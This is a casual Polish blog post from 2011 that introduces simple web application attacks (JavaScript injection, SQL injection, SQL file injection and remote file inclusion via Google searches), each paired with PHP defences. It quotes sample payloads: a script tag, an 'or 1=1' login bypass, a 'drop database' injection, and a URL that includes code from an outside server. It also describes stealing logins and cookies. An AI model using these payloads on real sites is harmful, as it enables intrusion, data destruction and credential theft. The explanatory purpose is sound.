Blog (65)
Komentarze (803)
Recenzje (0)

[Parówa] Najprostsze ataki na webaplikacje

@tfl[Parówa] Najprostsze ataki na webaplikacje17.06.2011 00:02

No i zgodnie z obietnicą opiszę dziś w miarę szybko parę prostych i powszechnie znanych metod naruszania bezpieczeństwa aplikacji internetowych. Dotyczyć wszystko będzie nie tylko sposobów na uzyskanie dostępu do serwerów, ale także bezpieczeństwa użytkowników strony.

JavaScript Injection

Teoria

JavaScript Injection to wstrzyknięcie kodu JavaScript na atakowaną stronę w celu wykonania go po stronie przeglądarki użytkownika. Osiągnąć to można na przykład wrzucając odpowiedni kod do "dodawaczki komentarzy". Co więcej - zazwyczaj najprostsze sposoby są zazwyczaj tak samo skuteczne, jak te skomplikowane. Co można uzyskać? Wszystko zależy od tego, gdzie można nasz kod osadzić.

Praktyka

Wyobraźmy sobie ową dodawczkę. Dwa inputy, jeden z miejscem na nicka, drugi z miejscem na treść komentarza, taki sam jak poniżej tego tekstu. Użytkownik próbujący atakować stronę w polu nick poda następujący kod:

<script type="text/javascript">alert("Hello world!");</script>tfl

Interpreter, który jest niepoprawnie skonstruowany może taką treść dodać do bazy danych. Kolejny użytkownik wejdzie na stronę, strona zacznie się ładować, aż dojdzie do fragmentu z zainfekowanym komentarzem, pojawi się alert. Czy to tyle? Nie. Wyobraźmy sobie, że udało się nam osadzić js na stronie z panelem logowania. JavaScript przechwytuje próbę zalogowania, przesyła dane do serwera atakującego, a potem przekazuje je z powrotem na właściwy serwis, gdzie następuje normalne logowanie. Można też posadzić javascript gdzieś w strefie użytkownika zalogowanego i przesyłać dane cookie (przeglądarka na to pozwoli, w końcu kod javascript pochodzi z tej samej domeny). Albo w ogóle zmienić stronę i stworzyć fałszywy form do zalogowania? Dlaczego by nie?

Jak się bronić?

Tak samo jak łatwo opanować sztukę wstrzykiwania szkodliwego kodu, tak samo temu zapobiegać. Na przykładzie PHP:

$new = htmlspecialchars("<a href="test">Test</a>", ENT_QUOTES);
echo $new; // &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;

Funkcja htmlspecialchars zamienia wszystkie specjalne znaki używane w html (ampersand, pojedyncze cóski ('), podwójne cóski ("), znak większości i znak mniejszości (<>)) na ich htmlowe odpowiedniki.

SQL Injection

Teoria

Od kiedy strony internetowe przestały być statyczne, trzeba dynamicznie zapisywać dane pochodzące od użytkowników serwisów. Do tego oczywiście używamy baz danych i formularzy na stronach. W składni sql uznaje się, że średnik oddziela zapytania. Między innymi to właśnie pozwala na naruszenie bezpieczeństwa aplikacji.

Praktyka

Teoretycznie (nomen omen) rozpatrzmy dwa zapytania:

select `id` from `users` where `user` = '".$_POST['user']."' and `pass` = '".$_POST['pass']."'

oraz

insert into `users` (`user`, `pass`) VALUES ('".$_POST['user']."', '".$_POST['pass']."')

Pierwsze może posłużyć do logowania, drugie do rejestrowania. Jeśli jakiś spryciarz w pierwszym przykładzie poda hasło

terefere' or 1=1

wówczas zapytanie uzyska następującą formę:

select `id` from `users` where `user` = 'user' and `pass` = 'terefere' or 1=1'

A w odpowiedzi zwróci wszystkie id użytkowników (oczywiście w zależności od ustawionego po stronie SQL domyślnego limitu). A co jeśli przy rejestracji nasz spryciarz zamiast hasła poda:

terefere');drop database `database`;

Wówczas zapytanie uzyska formę:

insert into `users` (`user`, `pass`) VALUES ('user', 'terefere;drop database `database`;')

Jak się bronić?

To również nie jest trudne. W przypadku php wygląda to między innymi tak:

sprintf("SELECT * FROM uzytkownicy WHERE uzytkownik='%s' AND haslo='%s'",
            mysql_real_escape_string($uzytkownik),
            mysql_real_escape_string($haslo));

Funkcja mysql_real_espace_string (której oczywiście można użyć dla każdego rodzaju zapytań, pod warunkiem posiadania php z skompilowanym ext php_mysql) dodaje znaki \ przed wszystkimi znakami, które mogą powodować rozdzielenie zapytań.

To oczywiście tylko teoria, ale zdaje się daje dobre światło na możliwości tej metody. Przy błędnie skonfigurowanym SQL można uzyskać dostęp do użytkowników i sprobówać...

SQL file Injection

Teoria

To już wybitnie teoretyczna sytuacja, nawet nie pokuszę się o praktyczną część. Chodzi więc o to, by przy pomocy przejętego serwera sql, stworzyć tablicę, zapisać niej rekord ze specjalnie spreparowanym kodem, który następnie przez "into outfile" zostanie zapisany do pliku, ten z kolei zostanie wykonany. Ten "specjalnie spreparowany kod" może być na przykład kodem php przekazującym na zewnątrz sygnatury sesji php itp.

Google include hack

Teoria

Czymże byłby internet bez googla w dzisiejszych czasach. Nie wiem. Ale na pewno byłby bezpieczniejszy. W przepastnych zasobach internetu można wyszukać setki poradników o tym, jak skutecznie szukać luk zabezpieczeń przez googla. Na czym polega google include hack? Na szukaniu odpowiednich informacji o błędach funkcji include. A co możemy dzięki include? Na przykład możemy na cudzej stronie wywołać naszą stronę.

Praktyka

Po co nam google? Szukamy strony, która zaindeksowała się z informacją o błędzie (brak pliku, który miał zostać zaincludowany). Dzięki temu nie musimy szukać na ślepo. Gdy już znajdziemy, próbujemy podać serwisowi nasz zewnętrzny kod na przykład tak:

http://www.strona.com/?lang=http://www.moj_serwer.pl/katalogi.txt

I teraz, o ile aplikacja nie jest poprawnie zabezpieczona, zmienna $_GET['lang'] zawiera nasz kod. O ile zmienna lang jest potrzebna do wskazywania odpowiedniej wersji językowej, która potem jest includowana, na serwerze ofiary zostanie wykonany nasz kod.

Sytuacja jest dość prosta do wychwycenia przez developerów aplikacji, ale i tak mimo to... zresztą, zobaczcie sami tutaj.

Podsumowanie

Nie będę ukrywał, że mi się już nie chce podgotowywać tej parówki. Na wszystko są metody i nie ma zabezpieczeń nie do złamania. Ale prawda jest taka, że można spędzić setki godzin na próbach dostania się do serwera i ostukując serwis tysiącem testów penetracyjnych i nic nie znaleźć, albo można zadzwonić do firmy i poprosić o podanie hasła. Ta druga metoda nazywa się socjotechniką, czyli dlaczego hacker może być humanistą... Ale to może już innym razem.

ps. Tekst pisany na luzie, więc bez wyjazdów malkontenci, wiem, że nie poprawnie jest pisać "wywołać stronę na stronie".

Szanowna Użytkowniczko! Szanowny Użytkowniku!
×
Aby dalej móc dostarczać coraz lepsze materiały redakcyjne i udostępniać coraz lepsze usługi, potrzebujemy zgody na dopasowanie treści marketingowych do Twojego zachowania. Twoje dane są u nas bezpieczne, a zgodę możesz wycofać w każdej chwili na podstronie polityka prywatności.

Kliknij "PRZECHODZĘ DO SERWISU" lub na symbol "X" w górnym rogu tej planszy, jeżeli zgadzasz się na przetwarzanie przez Wirtualną Polskę i naszych Zaufanych Partnerów Twoich danych osobowych, zbieranych w ramach korzystania przez Ciebie z usług, portali i serwisów internetowych Wirtualnej Polski (w tym danych zapisywanych w plikach cookies) w celach marketingowych realizowanych na zlecenie naszych Zaufanych Partnerów. Jeśli nie zgadzasz się na przetwarzanie Twoich danych osobowych skorzystaj z ustawień w polityce prywatności. Zgoda jest dobrowolna i możesz ją w dowolnym momencie wycofać zmieniając ustawienia w polityce prywatności (w której znajdziesz odpowiedzi na wszystkie pytania związane z przetwarzaniem Twoich danych osobowych).

Od 25 maja 2018 roku obowiązuje Rozporządzenie Parlamentu Europejskiego i Rady (UE) 2016/679 (określane jako "RODO"). W związku z tym chcielibyśmy poinformować o przetwarzaniu Twoich danych oraz zasadach, na jakich odbywa się to po dniu 25 maja 2018 roku.

Kto będzie administratorem Twoich danych?

Administratorami Twoich danych będzie Wirtualna Polska Media Spółka Akcyjna z siedzibą w Warszawie, oraz pozostałe spółki z grupy Wirtualna Polska, jak również nasi Zaufani Partnerzy, z którymi stale współpracujemy. Szczegółowe informacje dotyczące administratorów znajdują się w polityce prywatności.

O jakich danych mówimy?

Chodzi o dane osobowe, które są zbierane w ramach korzystania przez Ciebie z naszych usług, portali i serwisów internetowych udostępnianych przez Wirtualną Polskę, w tym zapisywanych w plikach cookies, które są instalowane na naszych stronach przez Wirtualną Polskę oraz naszych Zaufanych Partnerów.

Dlaczego chcemy przetwarzać Twoje dane?

Przetwarzamy je dostarczać coraz lepsze materiały redakcyjne, dopasować ich tematykę do Twoich zainteresowań, tworzyć portale i serwisy internetowe, z których będziesz korzystać z przyjemnością, zapewniać większe bezpieczeństwo usług, udoskonalać nasze usługi i maksymalnie dopasować je do Twoich zainteresowań, pokazywać reklamy dopasowane do Twoich potrzeb. Szczegółowe informacje dotyczące celów przetwarzania Twoich danych znajdują się w polityce prywatności.

Komu możemy przekazać dane?

Twoje dane możemy przekazywać podmiotom przetwarzającym je na nasze zlecenie oraz podmiotom uprawnionym do uzyskania danych na podstawie obowiązującego prawa – oczywiście tylko, gdy wystąpią z żądaniem w oparciu o stosowną podstawę prawną.

Jakie masz prawa w stosunku do Twoich danych?

Masz prawo żądania dostępu, sprostowania, usunięcia lub ograniczenia przetwarzania danych. Możesz wycofać zgodę na przetwarzanie, zgłosić sprzeciw oraz skorzystać z innych praw wymienionych szczegółowo w polityce prywatności.

Jakie są podstawy prawne przetwarzania Twoich danych?

Podstawą prawną przetwarzania Twoich danych w celu świadczenia usług jest niezbędność do wykonania umów o ich świadczenie (tymi umowami są zazwyczaj regulaminy). Podstawą prawną przetwarzania danych w celu pomiarów statystycznych i marketingu własnego administratorów jest tzw. uzasadniony interes administratora. Przetwarzanie Twoich danych w celach marketingowych realizowanych przez Wirtualną Polskę na zlecenie Zaufanych Partnerów i bezpośrednio przez Zaufanych Partnerów będzie odbywać się na podstawie Twojej dobrowolnej zgody.